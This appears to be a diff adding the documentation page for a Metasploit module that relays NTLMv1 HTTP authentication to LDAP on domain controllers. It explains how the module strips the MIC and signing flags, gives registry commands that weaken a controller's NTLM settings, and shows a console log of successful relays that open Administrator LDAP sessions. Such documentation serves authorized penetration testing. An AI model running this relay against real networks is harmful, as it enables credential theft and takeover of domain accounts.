|
| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | +### Description |
| 4 | + |
| 5 | +This module sets up an HTTP server that attempts to execute an NTLM relay attack against an LDAP server on the |
| 6 | +configured `RHOSTS`. The relay attack targets NTLMv1 authentication, as NTLMv2 cannot be relayed to LDAP due to the |
| 7 | +Message Integrity Check (MIC). The module automatically removes the relevant flags to bypass signing. |
| 8 | + |
| 9 | +This module supports relaying one HTTP authentication attempt to multiple LDAP servers. After attempting to relay to |
| 10 | +one target, the relay server sends a 307 to the client and if the client is configured to respond to redirects, the |
| 11 | +client resends the NTLMSSP_NEGOTIATE request to the relay server. Multi relay will not work if the client does not |
| 12 | +respond to redirects. |
| 13 | + |
| 14 | +The module supports relaying NTLM authentication which has been wrapped in GSS-SPNEGO. HTTP authentication info is sent |
| 15 | +in the WWW-Authenticate header. In the auth header base64 encoded NTLM messages are denoted with the NTLM prefix, while |
| 16 | +GSS wrapped NTLM messages are denoted with the Negotiate prefix. Note that in some cases non-GSS wrapped NTLM auth can |
| 17 | +be prefixed with Negotiate. |
| 18 | + |
| 19 | +If the relay attack is successful, an LDAP session is created on the target. This session can be used by other modules |
| 20 | +that support LDAP sessions, such as: |
| 21 | + |
| 22 | +- `admin/ldap/rbcd` |
| 23 | +- `auxiliary/gather/ldap_query` |
| 24 | + |
| 25 | +The module also supports capturing NTLMv1 and NTLMv2 hashes. |
| 26 | + |
| 27 | +### Setup |
| 28 | + |
| 29 | +For this relay attack to be successful, it is important to understand the difference between the Target Server (the |
| 30 | +Domain Controller receiving the relayed authentication) and the Victim Client (the machine sending the initial HTTP |
| 31 | +request) and how their respective configurations can impact the success of the attack. |
| 32 | + |
| 33 | +The Domain Controller must be configured to accept LM or NTLM authentication. This means the `LmCompatibilityLevel` |
| 34 | +registry key on the DC must be set to 4 or lower. If it is set to `5` ("Send NTLMv2 response only. Refuse |
| 35 | +LM and NTLM"), the DC will reject the relayed authentication and the module will fail. |
| 36 | + |
| 37 | +You can verify or modify the Domain Controller's level using the following commands: |
| 38 | +```cmd |
| 39 | +# To check the current level: |
| 40 | +reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -v LmCompatibilityLevel |
| 41 | +
|
| 42 | +# To set the level to 4 (or lower): |
| 43 | +reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -v LmCompatibilityLevel /t REG_DWORD /d 0x4 /f |
| 44 | +``` |
| 45 | + |
| 46 | +The client being coerced must be willing to send the vulnerable NTLM responses. |
| 47 | +- Non-Windows Clients: Custom tools or Linux-based HTTP clients are unaffected by Windows registry keys and can easily |
| 48 | +be relayed to a vulnerable DC. |
| 49 | +- Windows Clients: If you are coercing a native Windows HTTP client (like `Invoke-WebRequest` or a browser), the victim |
| 50 | +machine's `LmCompatibilityLevel` dictates what it is allowed to send. To successfully relay a Windows client, its local |
| 51 | +registry key typically needs to be set to `2` or lower. If the Windows client is operating at level `3` or higher, it |
| 52 | +restricts itself to sending only NTLMv2 responses, which will cause the relay to fail even if the target DC is vulnerable. |
| 53 | + |
| 54 | +## Verification Steps |
| 55 | + |
| 56 | +1. Start msfconsole |
| 57 | +2. Do: `use auxiliary/server/relay/http_to_ldap` |
| 58 | +3. Set the `RHOSTS` options |
| 59 | +4. Run the module |
| 60 | +5. Send an authentication attempt to the relay server |
| 61 | + 6. `Invoke-WebRequest -Uri http://192.0.2.1/test -UseDefaultCredentials` |
| 62 | +7. Check the output for successful relays and captured hashes |
| 63 | + |
| 64 | +## Scenarios |
| 65 | +### Relaying to multiple targets |
| 66 | +``` |
| 67 | +msf auxiliary(server/relay/http_to_ldap) > set rhosts 172.16.199.200 172.16.199.201 |
| 68 | +rhosts => 172.16.199.200 172.16.199.201 |
| 69 | +msf auxiliary(server/relay/http_to_ldap) > run |
| 70 | +[*] Auxiliary module running as background job 2. |
| 71 | +
|
| 72 | +[*] Relay Server started on 0.0.0.0:80 |
| 73 | +[*] Server started. |
| 74 | +msf auxiliary(server/relay/http_to_ldap) > [*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130 |
| 75 | +[*] Processing request in state unauthenticated from 172.16.199.130 |
| 76 | +[*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130 |
| 77 | +[*] Processing request in state unauthenticated from 172.16.199.130 |
| 78 | +[*] Received Type 1 message from 172.16.199.130, attempting to relay... |
| 79 | +[*] Attempting to relay to ldap://172.16.199.201:389 |
| 80 | +[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange` |
| 81 | +[*] Received type2 from target ldap://172.16.199.201:389, attempting to relay back to client |
| 82 | +[*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130 |
| 83 | +[*] Processing request in state awaiting_type3 from 172.16.199.130 |
| 84 | +[*] Received Type 3 message from 172.16.199.130, attempting to relay... |
| 85 | +[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange` |
| 86 | +[+] Identity: KERBEROS\Administrator - Successfully relayed NTLM authentication to LDAP! |
| 87 | +[+] Relay succeeded |
| 88 | +[*] Moving to next target (172.16.199.200). Issuing 307 Redirect to /ZdF7Ufkm0I |
| 89 | +[*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130 |
| 90 | +[*] Processing request in state unauthenticated from 172.16.199.130 |
| 91 | +[*] Received Type 1 message from 172.16.199.130, attempting to relay... |
| 92 | +[*] Attempting to relay to ldap://172.16.199.200:389 |
| 93 | +[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange` |
| 94 | +[*] Received type2 from target ldap://172.16.199.200:389, attempting to relay back to client |
| 95 | +[*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130 |
| 96 | +[*] Processing request in state awaiting_type3 from 172.16.199.130 |
| 97 | +[*] Received Type 3 message from 172.16.199.130, attempting to relay... |
| 98 | +[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange` |
| 99 | +[+] Identity: KERBEROS\Administrator - Successfully relayed NTLM authentication to LDAP! |
| 100 | +[+] Relay succeeded |
| 101 | +[*] Target list exhausted for 172.16.199.130. Closing connection. |
| 102 | +msf auxiliary(server/relay/http_to_ldap) > sessions -i -1 |
| 103 | +[*] Starting interaction with 5... |
| 104 | +
|
| 105 | +LDAP (172.16.199.200) > getuid |
| 106 | +[*] Server username: KERBEROS\Administrator |
| 107 | +LDAP (172.16.199.200) > |
| 108 | +``` |
0 commit comments